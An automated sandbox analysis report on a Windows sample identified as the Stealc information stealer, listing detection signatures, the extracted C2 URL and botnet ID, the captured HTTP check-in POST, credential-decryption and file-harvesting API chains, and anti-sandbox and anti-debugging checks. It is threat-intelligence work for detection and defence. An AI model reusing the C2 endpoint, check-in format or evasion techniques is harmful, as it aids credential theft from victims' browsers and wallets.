Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1540694
MD5:	c85bd4b2ad207a44d2cf47f0b48d6d09
SHA1:	3d20ea5592b7742bf5a05c166aa3e18c9d187681
SHA256:	294ee8a1545ecad7c74a8994fd7cd56acbdf3694ee80a77ba33e12c0067717d7
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7400 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C85BD4B2AD207A44D2CF47F0B48D6D09)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1705479023.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7400	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7400	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.340000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T01:10:02.998180+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.340000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0034C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00347240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00347240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00349AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00349AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00349B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00349B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00358EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00358EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00354910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00354910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0034DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0034E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0034ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00354570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00354570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0034DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0034BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0034F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0034F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00353EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00353EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003416D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 38 37 31 34 44 39 39 42 30 32 31 32 32 35 36 38 36 33 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"8E8714D99B021225686314------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"doma------JJECGCBGDBKJJKEBFBFH--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00344880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00344880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 38 37 31 34 44 39 39 42 30 32 31 32 32 35 36 38 36 33 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"8E8714D99B021225686314------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"doma------JJECGCBGDBKJJKEBFBFH--

Source: file.exe, 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1746396519.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1746396519.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1746396519.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php6
Source: file.exe, 00000000.00000002.1746396519.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=
Source: file.exe, 00000000.00000002.1746396519.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?
Source: file.exe, 00000000.00000002.1746396519.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phph
Source: file.exe, 00000000.00000002.1746396519.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37=

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4	0_2_007010F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006070F3	0_2_006070F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EC9B5	0_2_005EC9B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00632A96	0_2_00632A96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0071035F	0_2_0071035F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B43DE	0_2_005B43DE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00711BD7	0_2_00711BD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00707C29	0_2_00707C29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B34C6	0_2_005B34C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060BCC8	0_2_0060BCC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0076ACA0	0_2_0076ACA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00648DAB	0_2_00648DAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006C0D8F	0_2_006C0D8F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007EDE77	0_2_007EDE77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0070966C	0_2_0070966C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00704625	0_2_00704625
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A17DD	0_2_007A17DD

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 003445C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xisdcata ZLIB complexity 0.9949372386961908

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1705479023.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00359600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00359600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00353720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00353720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\T1OZWGAW.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1809408 > 1048576

Source: file.exe

Static PE information: Raw size of xisdcata is bigger than: 0x100000 < 0x193a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.340000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xisdcata:EW;bazuxvkp:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xisdcata:EW;bazuxvkp:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00359860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00359860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c5de1 should be: 0x1c6936

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xisdcata
Source: file.exe	Static PE information: section name: bazuxvkp
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0035B035 push ecx; ret	0_2_0035B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0076D012 push eax; mov dword ptr [esp], edx	0_2_0076D05A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0076D012 push 7FECB9A0h; mov dword ptr [esp], edx	0_2_0076D081
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E7014 push 55D365F6h; mov dword ptr [esp], esi	0_2_007E707D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007E7014 push 31CB389Bh; mov dword ptr [esp], edx	0_2_007E7114
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push 4CED349Fh; mov dword ptr [esp], ebx	0_2_00701113
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push 4CC958F3h; mov dword ptr [esp], ecx	0_2_0070111D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push eax; mov dword ptr [esp], edx	0_2_007012F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push eax; mov dword ptr [esp], edx	0_2_00701314
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push ebx; mov dword ptr [esp], edx	0_2_0070137C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push 38C6E934h; mov dword ptr [esp], esi	0_2_007013CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push ebp; mov dword ptr [esp], 2AD17891h	0_2_00701428
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push edx; mov dword ptr [esp], 56D69300h	0_2_00701497
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push edx; mov dword ptr [esp], esi	0_2_007014D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push ebp; mov dword ptr [esp], edi	0_2_00701518
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push 6DFF3FD2h; mov dword ptr [esp], esp	0_2_00701535
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push edi; mov dword ptr [esp], 4F8DFF09h	0_2_007015EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push 6C6DF282h; mov dword ptr [esp], ebx	0_2_00701743
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push 3680CF58h; mov dword ptr [esp], ecx	0_2_0070174B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push edi; mov dword ptr [esp], 5EEFCDE9h	0_2_007017CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push esi; mov dword ptr [esp], ebx	0_2_007017F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push edi; mov dword ptr [esp], 3DFBA0E5h	0_2_007017FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push edi; mov dword ptr [esp], 4CB923CBh	0_2_0070181A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push esi; mov dword ptr [esp], 7B2D27BAh	0_2_0070184F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push ebp; mov dword ptr [esp], esi	0_2_007018E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push 0FD4743Eh; mov dword ptr [esp], edi	0_2_0070198D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push ecx; mov dword ptr [esp], edx	0_2_00701A77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push ebx; mov dword ptr [esp], 6E5BD191h	0_2_00701AFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push 397CBF65h; mov dword ptr [esp], eax	0_2_00701B85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push edx; mov dword ptr [esp], 16EDE921h	0_2_00701C3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007010F4 push 3657D360h; mov dword ptr [esp], ebx	0_2_00701CAC

Source: file.exe

Static PE information: section name: xisdcata entropy: 7.953663128653993

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00359860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13265

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2269 second address: 5A2286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA94618479h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2286 second address: 5A228A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715A53 second address: 715A76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94618471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push edi 0x0000000b jp 00007FCA94618468h 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715A76 second address: 715A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715A7C second address: 715A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715D74 second address: 715D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715EB6 second address: 715EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FCA94618466h 0x0000000f rdtsc
